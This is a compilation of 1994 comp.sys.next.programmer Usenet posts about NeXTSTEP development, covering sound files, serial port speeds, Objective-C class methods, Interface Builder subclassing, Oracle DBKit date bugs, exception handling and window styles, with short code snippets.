Does writeSoundfile: do something funny with the data before saving? Is the data in one block or is there some frame structure in the data block of a sound file? The sounds are used in another system which needs only the data, not any info blocks in the beginning nor frame formats, just plain data. I was hoping if it's possible to make a simple routine to read only the data from a sound file (.snd) using C. Anyone done this (NeXT has, the readSoundfile seem to work :-) - I doubt they are giving the source files for me..) Is the sound file data format described somewhere (Couldn't find it from Librarian/nextdev). -Juha
Newsgroups: comp.sys.next.programmer From: js@euler.hnv.icem.de(Juergen Sell) Subject: Re: Next 19.2 Baud Message-ID: <CrpECs.v3@euler.hnv.icem.de> Sender: js@euler.hnv.icem.de (Juergen Sell) Organization: Ink Unknown References: <CrLzsn.3D6@csn.org> Date: Mon, 20 Jun 1994 16:12:27 GMT In article <CrLzsn.3D6@csn.org> mcquain@teal.csn.org (Barry D. McQuain) writes: > Hi, > > I have an application written in C on my NeXT computer (68040-33). I need > help reading data from the serial port at speeds greater than 9600. > > Everything works great at 9600. Unfortunately, the newest version of the > device that is sending data to my NeXT will be sending it at 19.2 instead > of 9600 starting June 30th. > > How do I do this? Can I test is easily using CAT and STTY from a terminal? What is the problem exactly? Use hardware flow control! 19200 <=> EXTA, 38400 <=> EXTB for NS3.0 Seems to have changed for NS3.2 but then I don't know for sure. I have code receiving data at 38400 (thanks to kind hints from EPS) and it's a non-Turbo. So your hardware should not be a limiting factor unless you want software flow-control which seems to be unreliable for speeds > 9600 if at all possible. Ok to mail me if you cannot get it done. Juergen --- Fon ++49-511-440688 NeXTMail welcome Fax ++49-511-440617 == What time do we live in when firing people gets called {right,down}sizing, == when spontaneity and freedom gets associated with instant coffee?
From: jkolyer@axysdev.nwest.mccaw.com (Jonathan Kolyer) Newsgroups: comp.sys.next.programmer Subject: Re: Typed Streams Error Date: 17 Jun 1994 18:01:50 GMT Organization: McCaw Cellular Communications, Inc. Message-ID: <2tsoef$g70@ftp-p.mccaw.com> References: <2tq55n$qip@master.cs.rose-hulman.edu> In article <2tq55n$qip@master.cs.rose-hulman.edu> borzilda@NeXTwork.Rose-Hulman.Edu (David A Borzillo) writes: > When I run my program I get this error in my console: > > Jun 16 13:16:42 keck4 JetMomentum31[1073]: Typed streams library error: > file inconsistency: read 'f', expecting '@' > > Does this mean it can't read the library or it doesn't exist? Does it > mean something else? > Read the documentation for int NXTypedStreamClassVersion(NXTypedStream *stream, const char *className) in `CommonFunctions'. JK -- jonathan.kolyer@mccaw.com | This space intentionally Paradigm Systems Corporation | left blank... NeXTmail is cool.
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: +new vs. +alloc -init Date: 17 Jun 1994 20:29:01 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2tt12d$4oc@rosie.next.com> References: <2tskc2$fub@ftp-p.mccaw.com> Greg Titus writes > > You get only one nuclear power system. (And it's of whatever class you > called +new on first.) > > > How do you "fix" it? > > Sometimes this is what you want, but to get the other behaviour (ie > subclasses get their own instance) you need to do something like: > > + new > { > static HashTable *instances; > id instance; > > if (instance = [instances valueForKey:self]) > return instance; > instance = [[self alloc] init]; > if (!instances) > instances = [[HashTable alloc] init]; > [instances insertKey:self value:instance]; > return instance; > } > > Keep a hash table to map class -> instance and do essentially the same > thing as in a "normal" +new method. > > --Greg Right! You need to have a way for each subclass to get the proper instance. In the example I gave, the line of code: id mnp = [MyNuclearPowerSystem new]; would have returned an instance of the NuclearPowerSystem class, *not* a MyNuclearPowerSystem. This is a side-effect of using static data in your classes (static really means static - it stays the same...). Another interesting twist on this is implementing methods like: + powerSystemWithName:(const char *)name; in a "subclass safe" way. The idea is to create a new instance if 'name' is new and reuse an old one if 'name' has already been created... Anyway, I thought this topic might be interesting to the net.collective as it comes up repeatedly in our courses... Also, it was pointed out to me in an e-mail that the MiscKit has a class that does class-variable "emulation" using HashTable's as described above. See you at EXPO... Ralph -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: +new vs. +alloc -init (correction) Message-ID: <1994Jun17.203853.10505@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2tsl7c$4hr@rosie.next.com> Date: Fri, 17 Jun 1994 20:38:53 GMT Ralph Zazula writes > > Hi - > > Ooops, I meant to use the +create method in my code snippet, not +new. > Here is my question re-posed with the proper code. > > Ralph > > Eric M Hermanson writes > > > > @implementation NuclearPowerSystem > > > > + create > > { > > static NuclearPowerSystem *instance = nil; > > > > /* Assure only one instance of the nuclear power system */ > > > > if (instance == nil) { > > instance = [[self alloc] init]; > > instance->reactorCore = > > [[NuclearReactorCore alloc] initWithPowerSystem:instance]; > > > } > > > > return instance; > > } > > > > ..... > > > > > > Eric > > > > Question: What happens with this code: > ----------------------------------------- > #import "NuclearPowerSystem.h" > @interface MyNuclearPowerSystem : NuclearPowerSystem > @end > @implementation MyNuclearPowerSystem > @end > void main() > { > id np = [NuclearPowerSystem create]; > id mnp = [MyNuclearPowerSystem create]; > } > ------------------------------------------ > > How do you "fix" it? > Generally, when you have a class method that returns the same instance (i.e. +new or +create), you should override that in a subclass if you also want to use that funcationality. Unless you implement the method in such a way as to allocate an instance of the class that was used as the target of the method and you are prepared to live with the fact that the class used for the first invocation will be the class of which an instance is returned. A third solution depending on your needs is to use -poseAs: with your subclass. You definitely have to be careful in these situations. -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: still problems with matrixes Message-ID: <CrJn3p.AuM@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <2to4ub$6kd@ftp-p.mccaw.com> Date: Fri, 17 Jun 1994 13:35:48 GMT Jonathan Kolyer writes about IB and the setYourIvar: methods > if you do something like, > - setYOUR_TARGET_IVAR:sender > { > foobar(); > return self; > } > > foobar() will be called when the nib loads, and YOUR_TARGET_IVAR will > remain nil. The main time this turns into a problem is when the setYourIvar: method refers to another outlet, that may or may not have already been set as the nib is being unarchived. The order that connections are established is undefined. That's why they added awakeFromNib. Most methods named setYourIvar: actually do set the corresponding ivar that I've seen. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
From: davids@pencom.com (David L Slotnick) Newsgroups: comp.sys.next.programmer Subject: Oracle 7, DBKit, and DATEs Date: 17 Jun 1994 21:46:39 GMT Organization: Pencom Software, Austin, TX Message-ID: <2tt5jv$h5i@digdug.pencom.com> I'm having some trouble saving DATEs to an Oracle 7 database. The SQL sent to the database delegate indicates that date strings are wrapped with the TO_DATE function. The problem is that this doesn't happen every time I save a date, it seems to be dependent on the history of the session. Specifically, the date will be wrapped after I execute a set operations, but *only* after those operations are executed. Has anyone else experienced problems using DATEs and the NeXT oracle adaptor? I'm using NEXTSTEP 3.2, on black hardware, with the NEXTSTEP 3.2 Oracle adaptor. I've installed the pre-release version of the 3.3 Oracle adaptor, but if I link to it my application core dumps. I've THOROUGHLY EXPLORED the available documentation, including the related NeXTanswers, the DBKit Oracle examples, and the NEXTSTEP DBKit documentation. In particular, I've read NeXTanswer 1552--my problem isn't any of those. David Slotnick Pencom Software davids@pencom.com
From: bizarre@clients-r-us.tamu.edu (Tom Swanner III) Newsgroups: comp.sys.next.programmer Subject: Any examples of DBImageView with Oracle databases out there? Date: 17 Jun 1994 22:54:03 GMT Organization: Texas A&M University, College Station, TX Message-ID: <2tt9ib$ibk@news.tamu.edu> The subject says it all...I have looked at NeXTAnswers and in the documentation quite a bit and have found no examples. Any help would be appreciated. Thanks! Tom Swanner III bizarre@clients-r-us.tamu.edu
From: "mmalcolm Crawford" <malc@dcs.shef.ac.uk> Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Re: Bug? Playing 8-bit 11kHz sound files double-speed? Date: Mon, 20 Jun 1994 18:18:38 GMT Organization: Department of Computer Science, University of Sheffield Message-ID: <940620191838.9321AACUE.malc@jeeves> References: <940618151222.4649AACUE.malc@jeeves> <2u4dtp$oof@hamblin.math.byu.edu> Mime-Version: 1.0 (Generated by Eloquent) Content-Type: text/plain; charset=US-ASCII > NeXT hardware doesn't have an option for 11kHZ sound files. It provides: > > 44.1 > 22.05 > 8.x (for mu-law) > > I imagine it's trying to play your sound at 8.x. > Ummm, I know that's what is usually *said*, but, unless my ears very much deceive me, there does appear to be support for other sampling rates. 11kHz 16-bit sounds seem fine... Anyway -- I've added an isPlayable line and conversion options, so, anybody want to try out Workspace Inspectors for AIFF and WAV sounds? Have fun, mmalcolm. SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569 Dept. Computer Science | direct : 825569 Sheffield University | Fax : (+44) 742 780972 Regent Court | Email: malc@dcs.shef.ac.uk 211 Portobello Street | (NeXTMail, SunMail, MIME welcome) Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Subclassing and IB -- Mutually exclusive? Message-ID: <1994Jun18.035649.17199@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2tko9m$46s@tribune.usask.ca> <2tnf8r$24c@ftp-p.mccaw.com> <CrJA1t.Cxt@news.informatik.uni-stuttgart.de> Date: Sat, 18 Jun 1994 03:56:49 GMT In article <CrJA1t.Cxt@news.informatik.uni-stuttgart.de> brouwer@minnie.informatik.uni-stuttgart.de (Klaus Brouwer) writes: >> >>What if have an NXBrowser for example and just want to overwrite one method, >>say keyDown:? I'm not adding any instance Variables or anything like this, so >>why can't I use the NXBrowser inspector? Even if I would have added instance >>variables I think there is no reason for loosing all IB support in setting >>NXBrowser attributes and switch over to an uni-color CustomView and no >>inspector. Sounds like a perfect time for a category. This is how in WavesWorld I add the functionality I needed to arbitrary matrices without subclassing Matrix. If I subclassed Matrix, I'd lose its cool IBEditor which lets me alt-drag out stuff, so I didn't. Since I was just overriding a method and not adding an instance variable (i.e. the same thing you want to do), this is a perfect use for a category. More to the point, I wanted IB to continue to do whatever magic it does to matricize certain Cells when you alt drag them... >>I made a View subclass that can display a background picture and tried to make >>drag&drop of some image to the view possible - well, I tried. The build-in >>palettes are specially integreted in IB, the custom palettes use a completely >>different mechanism with lesser abilities. This is the greatest flaw of IB: >>asymmetry. Look at the Preferences.app: all NeXT-provieded Modules use just >>the public API; this guarantees that the API is powerfull enough to do every- >>thing NeXT can do and this is what I want for IB. >> Well, the problem there is that the API for IBEditors is, err, weak. I have a similar class (WWSimpleImageView) and I solved the drag-and-drop problem by allowing d&d onto the object's IBInspector. Not as intuitive, true, but when you can make IBEditors for View subclasses (3.3?), I'll fix it. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.os.mach,comp.unix.msdos,comp.soft-sys.nextstep From: bill@bilver.oau.org (Bill Vermillion) Subject: Re: Unix/DOS Serial I/O Organization: W. J. Vermillion - Orlando / Winter Park, FL Date: Sat, 18 Jun 1994 01:44:01 GMT Message-ID: <1994Jun18.014401.15062@bilver.oau.org> References: <1994Jun15.150334.23322@bilver.oau.org> <CrHvKD.K7E@agedwards.com> In article <CrHvKD.K7E@agedwards.com>, Chris Cleeland <cleelacj@agedwards.com> wrote: >Bill Vermillion (bill@bilver.oau.org) wrote: >: In article <Cr8M6n.4yE@csn.org>, Barry D. McQuain <mcquain@teal.csn.org> wrote: >: >I am having a problem sending data from a NeXT computer to a PC via a serial >: >cable. >: Sounds like you are transmitting as even parity, so that a parity >: bit is added to make the number of 1's transmitted come out to >: an even number >: Mask it on the receive side. [...] >: Your PC comm program should be able to handle this. Tell it to >: ignore parity. If your program doesn't do this, there are >: others that do. >Except that ignoring parity on the receive side doesn't do anything >to get you the original character. Parity is added at the send side, >and only checked at the receive side. Old, crude, error detection >mechanism. Right on the part I said about ignore parity, but I also said 'mask' it. I've had to do that on some strange hardware that didn't permit you to do anything about the way it worked. (Or it may have been the OS implementation). You don't ignore it, you mask it, or strip it. That will take you back to your original data. Some programs will strip it, others won't. >To turn off parity generation on the NeXT side, a piece of code >similar to the following should work. For more info, consult >tty(4). I'm going to save that, as I hope to get NeXTSTEP for iNTEL up in a couple of weeks. Thanks. -- Bill Vermillion - bill@bilver.oau.org | bill.vermillion@oau.org
From: he@engin.swarthmore.edu (Ye He) Newsgroups: comp.sys.next.programmer Subject: get rid of window title Date: 18 Jun 1994 06:59:33 GMT Organization: Swarthmore College Engineering, Swarthmore PA Message-ID: <2tu60l$6kn@larch.cc.swarthmore.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hello Folks, I want to get rid of the window title bar so that the user cannot move the window around (required by our experiments). I tried doing this by drawing the title bar off screen, i.e., I added a (positive) value to my screenSize.height, and assigned this screenSize to the frameRect used to size my window. The problem with this is that there is still 1 or 2 pixels height of title bar remaining on screen, and a care- ful (or careless) use can still move my window :(. If the added value was too big (greater than screenSize.height by 23), then the entire title bar is drawn on screen, which is even worse. I think this is caused by some NeXT window server routines that are meant to prevent careless elimination of title bars, but what if I really don't want them ? Any idea on how to solve this problem? Please reply to my email address : he@engin.swarthmore.edu Thanks alot in advance. -- Ye he@engin.swarthmore.edu
From: chris@stokeisland.ohi.com (Christopher J. Traynor) Newsgroups: comp.sys.next.programmer Subject: RE: RPC & C++ Date: 18 Jun 1994 02:45:39 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <9406180705.AA03477@stokeisland.ohi.com> Jeff: Your email address was not complete in the From: field so I couldn't respond directly to you. Could you tell me where you found rpcgen.new? I will download it and see if I can get it to work on NS. I have had alot of experience working with the current version and C++/Objective-C. Thanx in advance.. Cheers, Chris
Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: Oracle 7, DBKit, and DATEs Message-ID: <1994Jun18.085733.13274@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <2tt5jv$h5i@digdug.pencom.com> Date: Sat, 18 Jun 1994 08:57:33 GMT In article <2tt5jv$h5i@digdug.pencom.com> davids@pencom.com (David L Slotnick) writes: > > I'm having some trouble saving DATEs to an Oracle 7 database. > The SQL sent to the database delegate indicates that date strings > are wrapped with the TO_DATE function. The problem is that this > doesn't happen every time I save a date, it seems to be dependent on > the history of the session. Specifically, the date will be wrapped > after I execute a set operations, but *only* after those operations > are executed. > > Has anyone else experienced problems using DATEs and the NeXT oracle > adaptor? Dates are flat broken in the 3.2 version of the Oracle adaptor. Particular problems we noted were that table aliases were not applied to date fields within the TO_CHAR function so that joining two tables having date fields of the same name generated ambiguous SQL. Also, updates to date fields invariably generated an error reporting "not all variables bound". The solution we had to adopt in order to run under 3.2 was to hard-link the 3.1 adaptor into our app: OTHER_OFILES = /NextLibrary/Adaptors/NS3.1.adaptor/OracleAdaptor I suspect you could run with the 3.3 adaptor if they have fixed the bugs and if you also use the 3.3 libraries: /usr/shlib/libdbkit_s.A.shlib and /usr/lib/libdbkit_s.a. -- Ron
From: sbrandon@ccu1.auckland.ac.nz (steve brandon) Newsgroups: comp.sys.next.programmer Subject: Playing soundfiles to DATPort Date: 18 Jun 1994 12:04:47 GMT Organization: University of Auckland Message-ID: <2tunsv$ivj@ccu2.auckland.ac.nz> Keywords: NeXT, music, DAT I have a black NeXTcube NS3.0 with DATPort, and am a little frustrated at my efforts to perform fully digital editing before saving back to DAT. Any pointers (including code) would be appreciated. I realize that using the music kit I can synthesize music and send this out the DSP port. No prob. I realize I can process sound coming in the DSP port and play it from the NeXT DACS or to a file, and that's ok too (though I would love to be able to play it straight back out the DSP). So, why does there seem to be no direct way to take sound from a file, using the music kit, and send it out the DSP port? I don't have too much experience programming this sort of thing tho I'd give it a go if it seemed worthwhile. I know I could (and I probably will) buy SoundWorks 3.0 to play direct to DAT, but I would like to use code to integrate into my synthesis projects. If sound was to be sent from a file, through the DSP and out, what sort of operations are necessary to get it there? NXSoundStreams? Thanks for any help Steve steve.brandon@ccu1.auckland.ac.nz NeXTMail welcome
From: "mmalcolm Crawford" <malc@dcs.shef.ac.uk> Newsgroups: comp.sys.next.programmer Subject: NXStreams vs. FILE *s Date: Sat, 18 Jun 1994 11:54:12 GMT Organization: Department of Computer Science, University of Sheffield Message-ID: <940618125412.3311AACUF.malc@jeeves> Mime-Version: 1.0 (Generated by Eloquent) Content-Type: text/plain; charset=US-ASCII Can anybody explain the advantages of using streams over standard UNIX read and write commands? I've a bunch of code which currently uses FILE pointers, and I'm wondering if it would be worth making it more NEXTSTEP-savvy... Have fun, mmalcolm. SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569 Dept. Computer Science | direct : 825569 Sheffield University | Fax : (+44) 742 780972 Regent Court | Email: malc@dcs.shef.ac.uk 211 Portobello Street | (NeXTMail, SunMail, MIME welcome) Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
Newsgroups: comp.sys.next.programmer From: Roberto_Arrocha@SoftDesign.COM (Roberto Arrocha) Subject: Nested Exception Handling Message-ID: <CrpCC9.3vC@SoftDesign.COM> Keywords: NEXTSTEP Exception Handling Sender: roberto@SoftDesign.COM (Roberto Arrocha) Organization: SoftDesign, Inc. Date: Mon, 20 Jun 1994 15:28:57 GMT I know this subject has already been tackled here, but I hope enlightened people will send their subjective opinions about how to handle this situation. I have the following (simplified) setup: objA -> objB -> objC (*) objA - responsible for responding to user actions; calls objB. objB - responsible for performing app-specific tasks; calls objC. objC - does the real work. Mostly C functions that return (error) codes. (I did not write objC, and cannot change it.) (*) -> depicts calls to and, therefore, knowledge of the subsequent object. All calls to objC return a code to be processed by its caller (objB). If the code returned is an error code, objB raises an exception. If the error code corresponds to a known exception to objB, objB handles it w/in the scope of its local handler, otherwise it NX_RERAISE() for its caller(s) to handle. The dilema is that if objB "handles" the exception, objA has no way to know what happened, unless: 1. objB does NX_RERAISE() for all exceptions. 2. objB returns something that would let objA know the request failed. Choosing option 1. implies that all objects calling objB (objA among them), should know about the contents of NXLocalHandler (code, data1, data2). Choosing option 2. lets objects calling objB (objA among them), know that the request failed, but no clue as to why it failed. ..maybe objA, and others like it do not need to know why?!? Here comes the request: I am looking for opinions / comments on how others have chosen to handle this dilema, and why. If there is something written about the subject, such as, past news/mail msgs on Exception Handling I will gladdly accept those as well. Thx. -- Roberto SoftDesign, Inc.
From: "mmalcolm Crawford" <malc@dcs.shef.ac.uk> Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Bug? Playing 8-bit 11kHz sound files double-speed? Date: Sat, 18 Jun 1994 14:12:22 GMT Organization: Department of Computer Science, University of Sheffield Message-ID: <940618151222.4649AACUE.malc@jeeves> Mime-Version: 1.0 (Generated by Eloquent) Content-Type: text/plain; charset=US-ASCII WAAAAAAAAAARGH! Can somebody confirm or otherwise that NeXT h/w running NS 3.2 plays 8-bit, 11kHz sound files at double speed...? No wonder I couldn't find the bug in my program.... :-((( Malcolm. SHeffield Auditory Group | Vox : (+44) 742 768555 ext 5569 Dept. Computer Science | direct : 825569 Sheffield University | Fax : (+44) 742 780972 Regent Court | Email: malc@dcs.shef.ac.uk 211 Portobello Street | (NeXTMail, SunMail, MIME welcome) Sheffield S1 4DP, UK. | (Read-Receipts discouraged :-)
From: louie@TransSys.COM (Louis A. Mamakos) Newsgroups: comp.sys.next.programmer Subject: Re: Enable IP forwarding, how? Date: 18 Jun 1994 15:11:32 GMT Organization: TransSys, Inc., Nitwittery Eradication Division Message-ID: <LOUIE.94Jun18111134@wa3ymh.transsys.com> References: <9406162348.AA00868@proxima.com> In-reply-to: elitman@proxima.com's message of 16 Jun 1994 19:32:09 -0500 In article <9406162348.AA00868@proxima.com> elitman@proxima.com (Eric A. Litman) writes: In article <2tnia9$1kc@titan.imp.com> you wrote: > How do I enable IP forwarding with Nextstep? > Has somebody an example code for this problem? It's disabled in the kernel, but support is there. Yes, it is disabled by default. Both TransSys Dial-Up IP and TransSys PNI enable IP forwarding when their kernel drivers are loaded. IP forwarding should *only* need to be enabled if you have more than one network interface, and you want to forward traffic received on one interface out another. The cannonical example of this is wanting to forward traffic between a local ethernet (and associated hosts) and a SLIP connection. The simple answer is that you need to set the kernel's ipforwaring integer to 1. -- Louis A. Mamakos TransSys, Inc.
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Problem while writing NXImage to stream. Help! Message-ID: <1994Jun20.163630.19352@planon.qc.ca> Sender: laurent@planon.qc.ca Date: Mon, 20 Jun 1994 16:36:30 GMT Hi netter! To circumvent a problem with DO and NXImage objects (NXImage objects are distributed, but no representations is accessible), I decided to store the NXImage in a NXData object. I first have to write the NXImage to a stream, then, I initialize a NXData object with the stream, and it goes like this: - (void)buildImageWithSize:(const NXSize *)imageSize { char *data; /* actual data buffer */ int length; /* length of data */ int maxLength; /* (not used here) */ NXStream *st; /* stream to collect data in */ /* [stuff deleted] */ if (sourceImage) //sourceImage is a NXImage { /* get a stream which writes to memory */ st = NXOpenMemory (NULL, 0, NX_WRITEONLY); /* write the image to the stream */ [sourceImage writeTIFF:st]; NXCloseMemory(st, NX_TRUNCATEBUFFER); /* get actuall data buffer from stream */ NXGetMemoryBuffer (st, &data, &length, &maxLength); dataSourceImage = [[NXData alloc] initWithData:data size:length dealloc:YES]; } return; } The first time I send sourceImage the writeTIFF message, everything works well. The second time, the application crashes. I supposed it's something obvious, and I tried almost anything possible to do this. Please, forgive my apparent ignorance, but, is there anything I could do to make this work??? Any help, pointer, info would be greatly appreciated! Laurent. -- ****************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
Newsgroups: comp.sys.next.programmer From: c92kl@comlab.ox.ac.uk (Kenneth Lomax) Subject: SoundWorks, Digital Ears problem.... Message-ID: <1994Jun18.145216.1840@client40.comlab.ox.ac.uk> Originator: c92kl@client40.comlab Sender: c92kl@comlab.ox.ac.uk (Kenneth Lomax) Organization: Oxford University Computing Laboratory, UK Date: Sat, 18 Jun 1994 14:52:16 GMT If you are familiar with the MetaResearch Digital Ears interface and/or the SoundWorks routines, couldyou please help me.... I am trying to record sounds using the DataController class and as requested, I have placed the sw_record.snd and sw_record22.snd files in the current directory. However when I run the project, the following error appears: Cannot read dsp file: Cannot open file Sound Error: Cannot record sound. Now the sound works program itself is able to record at the higher rate through the Digital Ears, so i wonder why i cannot write my own routines to do that. If anyone can help, I would be most grateful. Please reply straight to my e-mail address. Many thanks Ken
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Subclassing and IB -- Mutually exclusive? Date: 18 Jun 1994 10:34:27 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Jun18113427@steffi.demon.co.uk> References: <2tko9m$46s@tribune.usask.ca> <2tnf8r$24c@ftp-p.mccaw.com> <CrJA1t.Cxt@news.informatik.uni-stuttgart.de> <1994Jun18.035649.17199@news.media.mit.edu> To: wave@media.mit.edu (Michael B. Johnson) In-reply-to: wave@media.mit.edu's message of Sat, 18 Jun 1994 03:56:49 GMT <wave@media.mit.edu> writes: >>>I made a View subclass that can display a background picture and tried to make >>>drag&drop of some image to the view possible - well, I tried. The build-in >>>palettes are specially integreted in IB, the custom palettes use a completely >>>different mechanism with lesser abilities. This is the greatest flaw of IB: >>>asymmetry. Look at the Preferences.app: all NeXT-provieded Modules use just >>>the public API; this guarantees that the API is powerfull enough to do every- >>>thing NeXT can do and this is what I want for IB. >>> >Well, the problem there is that the API for IBEditors is, err, weak. I >have a similar class (WWSimpleImageView) and I solved the drag-and-drop >problem by allowing d&d onto the object's IBInspector. Not as intuitive, >true, but when you can make IBEditors for View subclasses (3.3?), I'll >fix it. You can do drag and drop on a CustomView paletted object in IB edit mode by providing the following methods. @interface View(IBView) - depositIBColor:(struct _NXColor)fp16 at:(struct _NXPoint *)fp32; - acceptsIBColorAt:(struct _NXPoint *)fp16; - depositIBSound:fp16 at:(struct _NXPoint *)fp20; - acceptsIBSoundAt:(struct _NXPoint *)fp16; - depositIBImage:fp16 at:(struct _NXPoint *)fp20; - acceptsIBImageAt:(struct _NXPoint *)fp16; - placeView:(struct _NXRect *)fp16; - (char)alternateMinSize:(struct _NXSize *)fp16; - getMinSize:(struct _NXSize *)fp16 maxSize:(struct _NXSize *)fp20 from:(int)fp24; @end Implement the accepts and deposit method.. totally unsupported by NeXT. -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Subclassing and IB -- Mutually exclusive? Date: 18 Jun 1994 10:46:23 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Jun18114623@steffi.demon.co.uk> References: <2tko9m$46s@tribune.usask.ca> <2tnf8r$24c@ftp-p.mccaw.com> <CrJA1t.Cxt@news.informatik.uni-stuttgart.de> <1994Jun18.035649.17199@news.media.mit.edu> To: wave@media.mit.edu (Michael B. Johnson) In-reply-to: wave@media.mit.edu's message of Sat, 18 Jun 1994 03:56:49 GMT <wave@media.mit.edu> writes: >In article <CrJA1t.Cxt@news.informatik.uni-stuttgart.de> brouwer@minnie.informatik.uni-stuttgart.de (Klaus Brouwer) writes: >>> >>>What if have an NXBrowser for example and just want to overwrite one method, >>>say keyDown:? I'm not adding any instance Variables or anything like this, so >>>why can't I use the NXBrowser inspector? Even if I would have added instance >>>variables I think there is no reason for loosing all IB support in setting >>>NXBrowser attributes and switch over to an uni-color CustomView and no >>>inspector. >Sounds like a perfect time for a category. This is how in WavesWorld I >add the functionality I needed to arbitrary matrices without subclassing >Matrix. If I subclassed Matrix, I'd lose its cool IBEditor which lets >me alt-drag out stuff, so I didn't. Since I was just overriding a method >and not adding an instance variable (i.e. the same thing you want to do), >this is a perfect use for a category. More to the point, I wanted IB to >continue to do whatever magic it does to matricize certain Cells when you >alt drag them... I believe the only reason you can successfully override in this case is because you are overriding a method defined in one of Matrix's superclass. Namely, Responder or perhaps control? -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: rprice@reunion.umd.edu (Rodney Price) Newsgroups: comp.sys.next.programmer Subject: [?] Project Builder with C++ Date: 18 Jun 1994 16:29:23 GMT Organization: University of Maryland, College Park Distribution: world Message-ID: <2tv7d3$pdf@umd5.umd.edu> Keywords: Project Builder with C++ I've been writing C++ code on my NeXT (NS 3.2) for a while, using just Edit.app and make files run from the command line, since my codes are small and I usually only run them a few times before I'm done with them. Most often I debug them on my NeXT, then ship them over to our HP 735 running HP-UX for the production runs. I'd like to use Project Builder, since my projects are getting slightly larger and I have .h and .cc files scattered all over creation. In looking over the documentation for Project Builder, however, I get the impression that it always produces an app, which runs when you double-click its icon. I need to make executables that run from the command line. I should then be able to compile the finished source under HP-UX (with, perhaps, some modifications to the makefile). Is it possible to persuade Project Builder to do this? Thanks, Rod Price rprice@reunion.umd.edu University of Maryland Physics Dept.
From: rgc@cs.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.programmer Subject: What new features will be in 3.3? Date: 18 Jun 1994 12:43:46 -0400 Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Distribution: world Message-ID: <2tv882$5c7@dorito.cs.umd.edu> What new utilities will be in NS 3.3? Specifically, will 3.3 provide version controll? An improved Edit (maybe will color syntax highlighting)? RTF support for *.h IB files? Also, what classes will be in the new FoundationKit? Thanks, Ross. -- Ross Cutler University of Maryland, College Park Internet: rgc@cs.umd.edu
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: get rid of window title Date: 18 Jun 1994 19:46:41 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2tviv1$62e@rosie.next.com> References: <2tu60l$6kn@larch.cc.swarthmore.edu> Ye He writes > Hello Folks, > I want to get rid of the window title bar so that the user cannot > move the window around (required by our experiments). > Well, if it's ABSOLUTELY required (stuff like this goes contrary to the User Interface Guidelines), you can create a title-bar free window from "scratch" in your code. The Backspace example shows how to create a full-screen window with no title bar. It goes something like this: window = [[Window alloc] initContent:&windowSizeRect style:NX_PLAINSTYLE backing:NX_BUFFERED buttonMask:0 defer:NO]; [window orderFront:self]; You can't layout the window in IB but you could layout the contentView and slap it in using Window's -setContentView: method. Ralph -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
Newsgroups: comp.os.mach,comp.soft-sys.nextstep,comp.sys.next.programmer From: mcquain@teal.csn.org (Barry D. McQuain) Subject: Next 19.2 Baud Message-ID: <CrLzsn.3D6@csn.org> Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. Date: Sat, 18 Jun 1994 20:05:11 GMT Hi, I have an application written in C on my NeXT computer (68040-33). I need help reading data from the serial port at speeds greater than 9600. Everything works great at 9600. Unfortunately, the newest version of the device that is sending data to my NeXT will be sending it at 19.2 instead of 9600 starting June 30th. How do I do this? Can I test is easily using CAT and STTY from a terminal? Please reply to mcquain@csn.org. Thanks.
